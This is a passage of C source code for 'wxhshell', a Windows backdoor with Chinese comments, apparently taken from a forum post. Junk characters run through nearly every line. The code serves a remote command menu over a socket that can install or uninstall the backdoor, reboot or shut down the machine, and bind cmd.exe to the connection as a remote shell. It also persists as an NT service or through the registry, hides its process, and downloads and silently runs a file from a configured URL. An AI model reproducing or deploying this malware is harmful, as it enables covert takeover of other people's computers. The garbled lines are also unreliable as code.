    switch(cmd[0]) { bKP@-<:]  
  X16r$~Pb  
  // 帮助 p#tbN5i[{7  
  case '?': { uy oEMT#u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DjQgF=;  
    break; RS /*Dp^  
  } =!P$[pN2  
  // 安装 '=]|"   
  case 'i': { O*+,KKPt  
    if(Install()) ]m"6a-,`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,3FG' q2  
    else 5r(Y,m"?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .V?>Jhok  
    break; SyCa~M!}>  
    } 95hdQ<W  
  // 卸载 IltU6=]"l  
  case 'r': { jK-usn  
    if(Uninstall()) @sLB _f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K8g9IZ*lT  
    else ]:F?k#c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \4roM1&[  
    break; Q804_F F#  
    } !:9s>0';N  
  // 显示 wxhshell 所在路径 Q[UYNQ0w  
  case 'p': { 8PwPI%Pb  
    char svExeFile[MAX_PATH]; 2)47$eu  
    strcpy(svExeFile,"\n\r"); C&-]RffA  
      strcat(svExeFile,ExeFile); Cy'! >  
        send(wsh,svExeFile,strlen(svExeFile),0); G.sf>.[  
    break; RL~]mI!U  
    } -q}I; cH  
  // 重启 :dj=kuUTbu  
  case 'b': { gtw?u b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gaxxB]8  
    if(Boot(REBOOT)) &<oDl _^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #i0f}&  
    else { QsH?qI&2jp  
    closesocket(wsh); eCXw8  
    ExitThread(0); 2RC@Fu~zaU  
    } dn|OY. `|  
    break; NGOyd1$7N  
    } ?D S|vCae  
  // 关机 2kVQ#JyuRI  
  case 'd': { 6HR^q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1i:Q %E F  
    if(Boot(SHUTDOWN)) dEG1[QG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TC^fyxq  
    else { T +~ _D  
    closesocket(wsh); A N 'L- E  
    ExitThread(0); YKG}4{T  
    } [pYjH+<  
    break; px=r~8M9}  
    } %6HJM| {H  
  // 获取shell d2[R{eNX=  
  case 's': { V { yk  
    CmdShell(wsh); O t1:z:Pl  
    closesocket(wsh); zTS#o#`!\  
    ExitThread(0); 6`U]%qx_I  
    break; Q<d|OX  
  } -Gmg&yQ9  
  // 退出 ( t59SY  
  case 'x': { mVdg0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B{\qYL/~  
    CloseIt(wsh); gWpG-RL0  
    break;  T6N~L~J  
    } A,#a?O6m  
  // 离开 UJhUb)}^  
  case 'q': { 'NDDj0Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 31=v US  
    closesocket(wsh); _&|<(m&."  
    WSACleanup(); %r >Y)@$Vt  
    exit(1); X8212[7  
    break; ]d -U  
        } mv\S1[<T  
  } 9  7Mi{Zz  
  } 1JWo~E'  
^P}c0}^  
  // 提示信息 NG?-dkD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bbxo!K m"  
} _1kcz]]F  
  } Ki(  
/aX 5G  
  return; Xgyi}~AoaU  
} U<jAZU[L  
Gf y9?sa  
// shell模块句柄 c},wW@SF2W  
int CmdShell(SOCKET sock) ]q CCCI`  
{ ^F4h:  
STARTUPINFO si; bA8RoC  
ZeroMemory(&si,sizeof(si)); JPGEE1!B{b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1_0\_|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d+Au`'{>  
PROCESS_INFORMATION ProcessInfo; rugR>&mea  
char cmdline[]="cmd"; Fv T;8ik:3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :Wl`8p4]  
  return 0; \+Pk"M  
} n>aH7  
68, (+vkB  
// 自身启动模式 v JPX`T|  
int StartFromService(void) x>m=n_  
{ ? fmW'vs  
typedef struct L+J)  
{ B96"|v$  
  DWORD ExitStatus; ] R-<v&O  
  DWORD PebBaseAddress; mqk tM6  
  DWORD AffinityMask; XYdr~/[HPy  
  DWORD BasePriority; 9 Z79  
  ULONG UniqueProcessId; do&0m[x%  
  ULONG InheritedFromUniqueProcessId; _5&LV2  
}   PROCESS_BASIC_INFORMATION; CGY,I UG  
UcxMA%Pw7$  
PROCNTQSIP NtQueryInformationProcess; >nOzz0,  
+!Lz]@9K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iDrQ4>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; unN=yeut  
FvaelB  
  HANDLE             hProcess; x !QA* M  
  PROCESS_BASIC_INFORMATION pbi; 1y}tPkOe7O  
bc(b1u?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H!vX#  
  if(NULL == hInst ) return 0; U9]&~jR  
nMU[S +  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i $W E1-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z|IFT1K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o]O  
sm96Ye{O{  
  if (!NtQueryInformationProcess) return 0; jhkNi`E7  
j O6yZt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \\i$zRi  
  if(!hProcess) return 0; /o]j  
vQhi2J'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ruK, Z,3Q  
fgEMn;  
  CloseHandle(hProcess); ;/|3U7{c  
`R{ ZED l'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7$j O3J  
if(hProcess==NULL) return 0; ):pFI/iC  
EGIwqci:  
HMODULE hMod; @(_f}S gfE  
char procName[255]; |?Bb{Es  
unsigned long cbNeeded; aT`. e  
2#g4R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); to"[r  
a-Ef$(i_  
  CloseHandle(hProcess); z}f;_NX  
\r7gubD  
if(strstr(procName,"services")) return 1; // 以服务启动 ``* !b >)  
SE<hZLd"  
  return 0; // 注册表启动 8j<+ ' R  
} k:k!4   
BLQD=?Q  
// 主模块 h(H b+7g  
int StartWxhshell(LPSTR lpCmdLine) TVEFZ\p<A  
{ Jk3V]u  
  SOCKET wsl; !-Br?  
BOOL val=TRUE; j~VHU89  
  int port=0; `.F+T)G  
  struct sockaddr_in door; l<YCX[%E  
ZFO*D79:K  
  if(wscfg.ws_autoins) Install(); ;)gNe:Q  
-y5Z c?e  
port=atoi(lpCmdLine); r]'Q5l4j6"  
I!uGI  
if(port<=0) port=wscfg.ws_port; 1?5UVv_F  
1l`$.k  
  WSADATA data; q26%Z)'nf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xFy%&SKHg  
08JVX'X-mr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @!zT+W&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cA]Ch>]A%  
  door.sin_family = AF_INET; >( :b\*C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Pu7cL  
  door.sin_port = htons(port); At=l>  
2W]y9)<c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qtLXdSc  
closesocket(wsl); jYi{[* *  
return 1; 8 y+Nl&"V  
}  }j /r  
Q($aN-   
  if(listen(wsl,2) == INVALID_SOCKET) { 2lm{:tS  
closesocket(wsl); *2tG07kI  
return 1; Gaxa~?ek  
} a{%]X(';  
  Wxhshell(wsl); Y^P'slY{%  
  WSACleanup(); b/g"ws_  
]p sx\ZMa  
return 0; e:H9!  
SuU %x2  
} b$Ch2Qz0q  
+HxL>\  
// 以NT服务方式启动 OlI{VszR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eg vgi?y  
{ _$Hx:^p:  
DWORD   status = 0; KB^i=+xr  
  DWORD   specificError = 0xfffffff; &?@5G  
wBK%=7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uRu)iBd D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M$Of.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o I6o$C  
  serviceStatus.dwWin32ExitCode     = 0; gQ=g,X4  
  serviceStatus.dwServiceSpecificExitCode = 0; QC\][I>  
  serviceStatus.dwCheckPoint       = 0; zkrcsc\Z~0  
  serviceStatus.dwWaitHint       = 0; E?+MM0  
9BM 8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &QQ8ut,;  
  if (hServiceStatusHandle==0) return; ; 3WA-nn  
&^W91C?<6  
status = GetLastError(); \dIQhF%%2  
  if (status!=NO_ERROR) r$Z_Kwe.|&  
{ _^)<d$R<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H!NyM}jsr  
    serviceStatus.dwCheckPoint       = 0; / NlT[@T  
    serviceStatus.dwWaitHint       = 0; aj:B+}1  
    serviceStatus.dwWin32ExitCode     = status; &@MiR8  
    serviceStatus.dwServiceSpecificExitCode = specificError; c#6g[TE@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *1 [v08?!  
    return; G$"$k=[  
  } '!6Py1i  
L)LW5%.6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CrIt h/Z  
  serviceStatus.dwCheckPoint       = 0; 'l}T_7g  
  serviceStatus.dwWaitHint       = 0; ~<, QxFG5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !7O!)WJ  
} _@47h86 Q  
$"/xi `  
// 处理NT服务事件,比如:启动、停止 4mY(*2:HC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bf3Njma%  
{ UHEn+Tc>  
switch(fdwControl) r6Hdp  
{ S^Z[w|1  
case SERVICE_CONTROL_STOP: %EooGHGF?  
  serviceStatus.dwWin32ExitCode = 0; ~KufSt *  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .#] V5g,  
  serviceStatus.dwCheckPoint   = 0; R""P01IZH  
  serviceStatus.dwWaitHint     = 0; V~uH)IMkh7  
  { ]$>O--  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i: ZL0nH-  
  } jB17]OCN  
  return; M=hH:[6 &  
case SERVICE_CONTROL_PAUSE: U Ux]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2y&m8_s-p  
  break; 0DBA 'Cv  
case SERVICE_CONTROL_CONTINUE: `KgWaf-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y70[Nz  
  break; eL-9fld /n  
case SERVICE_CONTROL_INTERROGATE: 65ctxxWv1  
  break; 9aR-kcvJIJ  
}; 9$z|kwU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E,[@jxP  
} na &?Cw  
mOb*VH  
// 标准应用程序主函数 =Kv*M@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PSO9{!  
{ ^qaS  
R`wL%I!?f  
// 获取操作系统版本 6_m5%c~;+r  
OsIsNt=GetOsVer(); \tj7Jy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "Z&-:1tP{9  
o 26R]  
  // 从命令行安装 0Jh^((i*  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1 XAXokxj  
:D>afC8,  
  // 下载执行文件 (hB&OP5Fne  
if(wscfg.ws_downexe) { 9U_uw Rv2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t?:}bw+m  
  WinExec(wscfg.ws_filenam,SW_HIDE); }hralef #N  
} UvSvgDMl  
)")_aA  
if(!OsIsNt) { Awo H d7M  
// 如果时win9x,隐藏进程并且设置为注册表启动 (6R^/*-o  
HideProc(); @hlT7C)xK  
StartWxhshell(lpCmdLine); UN <s1  
} Fq6sl}b(On  
else Tl^9!>\Q  
  if(StartFromService()) @O/Jy2>3H  
  // 以服务方式启动 5U&b")3IT!  
  StartServiceCtrlDispatcher(DispatchTable); oh k.;  
else i(^&ZmG  
  // 普通方式启动 kCXQHX  
  StartWxhshell(lpCmdLine);  :1q)l  
s4@dEK8W  
return 0; &@O]'  
}
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只看该作者 1 发表于: 2006-10-10
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